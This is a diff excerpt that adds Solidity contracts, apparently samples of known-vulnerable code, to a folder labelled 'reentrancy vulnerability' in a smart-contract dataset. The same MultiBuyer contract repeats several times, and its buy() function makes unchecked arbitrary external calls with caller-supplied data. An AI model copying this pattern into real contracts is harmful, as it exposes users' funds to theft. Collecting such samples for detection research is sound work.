ExShellToken() { + require(init==true); + totalSupply = 2000000000; + balances[0xa089a405b1df71a6155705fb2bce87df2a86a9e4] = totalSupply; + init = false; + } + address public controller1 =0xa089a405b1df71a6155705fb2bce87df2a86a9e4; + address public controller2 =0x5aa64423529e43a53c7ea037a07f94abc0c3a111; + + modifier controller () { + require(msg.sender == controller1||msg.sender == controller2); + _; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/1011.sol b/smart_contract_dataset/reentrancy vulnerability/1011.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/1011.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/1021.sol b/smart_contract_dataset/reentrancy vulnerability/1021.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/1021.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/1023.sol b/smart_contract_dataset/reentrancy vulnerability/1023.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/1023.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/1030.sol b/smart_contract_dataset/reentrancy vulnerability/1030.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/1030.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, 